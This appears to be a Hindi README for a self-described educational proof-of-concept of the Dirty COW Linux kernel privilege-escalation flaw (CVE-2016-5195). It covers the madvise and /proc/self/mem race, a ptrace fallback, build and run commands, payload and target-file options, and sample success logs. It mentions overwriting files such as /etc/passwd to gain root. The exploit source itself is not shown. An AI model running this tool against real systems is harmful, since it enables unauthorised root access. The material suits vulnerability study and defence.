
शैक्षणिक PoC for Dirty COW (CVE-2016-5195) लॉगिंग, ptrace फ़ॉलबैक, और बाइनरी पेलोड समर्थन के साथ।
यह कोड केवल शैक्षिक उद्देश्यों के लिए है। किसी भी दुर्भावनापूर्ण उपयोग को सख्ती से प्रतिबंधित और अवैध माना जाता है।
गंदा COW (CVE-2016-5195) लिनक्स कर्नेल में एक विशेषाधिकार वृद्धि भेद्यता है जो कर्नेल के कॉपी-ऑन-राइट (COW) तंत्र में होने वाली रेस कंडीशन का शोषण करती है। यह भेद्यता लिनक्स कर्नेल संस्करण 2.6.22 (2007 में जारी) से लेकर निम्नलिखित संस्करणों से पहले तक प्रभावित करती है:
यह भेद्यता कर्नेल की मेमोरी प्रबंधन प्रणाली में उत्पन्न होती है:
MAP_PRIVATE के साथ मैप करती है, तो परिवर्तनों को एक निजी प्रतिलिपि बनानी चाहिएmadvise(MADV_DONTNEED) और /proc/self/mem पर लेखन के बीच प्रतिस्पर्धा करते हैं/etc/passwd जैसी सिस्टम फ़ाइलों को संशोधित करके रूट एक्सेस प्राप्त करने की संभावनाइसे कभी भी उत्पादन प्रणालियों या उन प्रणालियों पर न चलाएँ जिनके आप स्वामी नहीं हैं!
# 1. पहले कर्नेल संस्करण जाँचें
uname -r
# 2. पृथक परीक्षण निर्देशिका बनाएँ
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. केवल हानिरहित फ़ाइलों के साथ परीक्षण करें
./main -t /tmp/test_file -v
# 4. सिस्टम संसाधनों की निगरानी करें
top -p $(pgrep -f main)
# आवश्यक पैकेज स्थापित करें (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# आवश्यक पैकेज स्थापित करें (CentOS/RHEL)
sudo yum install gcc openssl-devel
# मानक संकलन
make
# डीबग संस्करण
make main-debug
# मैन्युअल संकलन
gcc -o main main.c -lpthread -lssl -lcrypto
# डिफ़ॉल्ट सेटिंग्स के साथ सरल परीक्षण
./main
# वर्बोज़ मोड और कस्टम लक्ष्य
./main -t /tmp/testfile -v
# एकाधिक प्रक्रियाओं के साथ उन्नत उपयोग
./main -t /tmp/target -n 4 -r 3 -D -v
# फ़ाइल से बाइनरी पेलोड
./main -f payload.bin -P -D -n 2
/proc/self/mem लेखन (डिफ़ॉल्ट)ptrace(PTRACE_POKETEXT)सर्वोत्तम लेखन स्थान खोजने के लिए कई मेमोरी ऑफ़सेट स्कैन करता है:
./main -D -v # गतिशील ऑफ़सेट स्कैनिंग सक्षम करें
तीव्र रेस कंडीशन के लिए कई प्रक्रियाएँ लॉन्च करें:
./main -n 4 # 4 समानांतर प्रक्रियाओं का उपयोग करें
फ़ाइलों से मनमाना बाइनरी डेटा लोड करें:
# बाइनरी पेलोड बनाएँ
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# बाइनरी पेलोड का उपयोग करें
./main -f payload.bin -v
असफल प्रयासों को स्वचालित रूप से पुनः प्रयास करें:
./main -r 5 # अधिकतम 5 बार पुनः प्रयास करें
फ़ाइल संशोधनों को सत्यापित करने के लिए SHA-256 हैशिंग का उपयोग करता है:
# मूल बनाम संशोधित फ़ाइल हैश की जाँच करें
./main -v # वर्बोज़ मोड में हैश तुलना दिखाता है
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== सिस्टम जानकारी ===
कर्नेल संस्करण: Linux 4.4.0-generic
आर्किटेक्चर: x86_64
वर्तमान उपयोगकर्ता: testuser
UID/GID: 1000/1000
=== भेद्यता जाँच ===
कर्नेल: Linux संस्करण 4.4.0-generic
[+] /proc/self/mem सुलभ
=== परीक्षण प्रारंभ ===
=== शोषण निष्पादन ===
[+] लक्ष्य: /tmp/dirty_cow_test
[+] पेलोड लंबाई: 32 बाइट
[+] पुनरावृत्तियाँ: 10000000
[+] प्रक्रियाएँ: 1
[+] विधि: /proc/self/mem
[+] गतिशील ऑफ़सेट: अक्षम
[+] बैकअप बनाया गया: /tmp/dirty_cow_test.backup
[+] मूल सामग्री: शोषण-पूर्व-मूल-सामग्री
[+] रेस कंडीशन परीक्षण शुरू...
[+] शोषण प्रयास 1 पर सफल!
[+] फ़ाइल हैश बदल गया - संशोधन की पुष्टि!
[+] मूल: a1b2c3d4e5f6...
[+] अंतिम: f6e5d4c3b2a1...
=== परीक्षण सफल ===
[+] फ़ाइल संशोधन पूर्ण
[+] शैक्षिक उद्देश्य प्राप्त
[+] आँकड़े: 156789 लेखन, 1 सफल, 2.347 सेकंड
यह उपकरण exploit_log.txt में विस्तृत लॉग बनाता है:
[2024-01-15 10:30:45] सिस्टम जानकारी - UID/GID: 1000/1000
[2024-01-15 10:30:45] कर्नेल संस्करण: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem सुलभ
[2024-01-15 10:30:45] शोषण शुरू - लक्ष्य: /tmp/test, पेलोड: 32 बाइट
[2024-01-15 10:30:47] शोषण प्रयास 1 पर सफल
[2024-01-15 10:30:47] अंतिम आँकड़े - लेखन: 156789, सफल: 1, अवधि: 2.347 सेकंड
# मूल शोषण कार्यक्षमता का परीक्षण करें
./main -t /tmp/basic_test -v
# उच्च-तीव्रता रेस कंडीशन परीक्षण
./main -i 50000000 -n 4 -r 3 -D -v
# परीक्षण जब /proc/self/mem अवरुद्ध हो
./main -P -D -v
# नल बाइट्स युक्त बाइनरी डेटा के साथ परीक्षण
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
शोषण दो संक्रियाओं के बीच एक रेस बनाकर काम करता है:
madvise(MADV_DONTNEED) - कर्नेल को मेमोरी पृष्ठों को त्यागने का निर्देश देता है/proc/self/mem पर लिखना - मैप की गई मेमोरी पर लिखने का प्रयास करता हैMAP_PRIVATE के साथ मैप किया जाना चाहिएजब रेस कंडीशन सफल होती है:
1. "शोषण विफल या अपर्याप्त पुनरावृत्तियाँ"
-i के साथ पुनरावृत्तियाँ बढ़ाएँ या एकाधिक प्रक्रियाओं -n का उपयोग करें2. "/proc/self/mem एक्सेस विफल"
-P ध्वज के साथ ptrace विधि का उपयोग करें3. "सिस्टम कमजोर नहीं हो सकता"
uname -r4. सिस्टम अनुत्तरदायी हो जाता है
-i 1000000-n 1# रूढ़िवादी सेटिंग्स (धीमी लेकिन सुरक्षित)
./main -i 5000000 -n 1
# आक्रामक सेटिंग्स (तेज़ लेकिन संसाधन गहन)
./main -i 50000000 -n 4 -D
# संतुलित सेटिंग्स
./main -i 20000000 -n 2 -r 2 -D
यह एक शैक्षिक उपकरण है। योगदान निम्न पर ध्यान केंद्रित करना चाहिए:
यह सॉफ़्टवेयर केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया जाता है। लेखक और योगदानकर्ता इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं। उपयोगकर्ता पूरी तरह से यह सुनिश्चित करने के लिए जिम्मेदार हैं कि किसी भी सिस्टम पर परीक्षण करने से पहले उनके पास उचित प्राधिकरण है।
इस सॉफ़्टवेयर का उपयोग करके, आप स्वीकार करते हैं कि:
यह परियोजना केवल शैक्षिक उद्देश्यों के लिए MIT लाइसेंस के तहत जारी की गई है।
याद रखें: महान शक्ति के साथ महान जिम्मेदारी आती है। इस ज्ञान का उपयोग सिस्टम की सुरक्षा और संरक्षण के लिए करें, न कि उन्हें नुकसान पहुँचाने के लिए।
| विकल्प | विवरण | डिफ़ॉल्ट | अधिकतम |
|---|
-t <file> | लक्ष्य फ़ाइल पथ | /tmp/dirty_cow_test | - |
-p <payload> | कस्टम टेक्स्ट पेलोड | टेस्ट स्ट्रिंग | - |
-f <file> | फ़ाइल से बाइनरी पेलोड लोड करें | - | - |
-i <num> | पुनरावृत्तियों की संख्या | 10,000,000 | 100,000,000 |
-n <num> | समानांतर प्रक्रियाओं की संख्या | 1 | 8 |
-r <num> | पुनः प्रयास प्रयास | 1 | 10 |
-P | /proc/self/mem के बजाय ptrace का उपयोग करें | अक्षम | - |
-D | गतिशील ऑफ़सेट स्कैनिंग सक्षम करें | अक्षम | - |
-v | वर्बोज़ आउटपुट | अक्षम | - |
-l <file> | लॉग फ़ाइल पथ | exploit_log.txt | - |
-h | सहायता दिखाएँ | - | - |